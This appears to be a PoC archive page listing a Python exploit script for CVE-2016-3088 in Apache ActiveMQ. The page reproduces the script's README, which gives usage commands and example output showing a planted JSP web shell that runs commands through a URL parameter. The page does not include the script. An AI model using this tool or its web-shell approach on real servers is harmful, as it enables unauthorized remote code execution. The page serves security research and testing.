Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2016-3088 PoC — Apache ActiveMQ 输入验证错误漏洞

Source
Associated Vulnerability
Title:Apache ActiveMQ 输入验证错误漏洞 (CVE-2016-3088)
Description:The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0 allows remote attackers to upload and execute arbitrary files via an HTTP PUT followed by an HTTP MOVE request.
Description
A Python-based Exploit Script for CVE-2016-3088
Readme
# CVE-2016-3088
## Statement
A Python-based Exploit Script for CVE-2016-3088.\
This is my first script, so there may be something doesn't quite fit.\
But it seems go right when I tested.
## Discription
This script can eliminate the need to capture packets during the penetration of CVE-2016-3088,\
so we can write & move the file directly.
## Usage
```
python CVE-2016-3088.py --url http://ip:port/ [--path absolute_path] [--script filename.txt]
```

the parameter --script is optional, it will use the build-in payload if you run program without it,\
the payload is only lets you execute a few commands in the url.\
But you can enter other scripts to achieve your purpose.
## Installation
Just download the .py .\
And it requires some modules.
## Example
```
$ python CVE-2016-3088.py --url http://192.168.244.153:8161/ --path /opt/activemq

[+] The target is Vulnerable  
[+] Exploiting...  
[+] Successful!  
[+] Visit The JSP file: http://192.168.244.153:8161/admin/d404ca6ffa5849a9ab1202dd388684f5.jsp?pwd=023&i=[Your-Command]  
```

##### Use the --script  
```
$ python CVE-2016-3088.py --url http://192.168.244.153:8161/ --path /opt/activemq --script script.txt

[+] The target is Vulnerable  
[+] Exploiting...  
[+] Successful!  
[+] Visit The JSP file: http://192.168.244.153:8161/admin/6655d82d47cd43bb8a21515f476bce1f.jsp  
```

## Disclaimer
Pls use this tool with care and only when authorized!
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →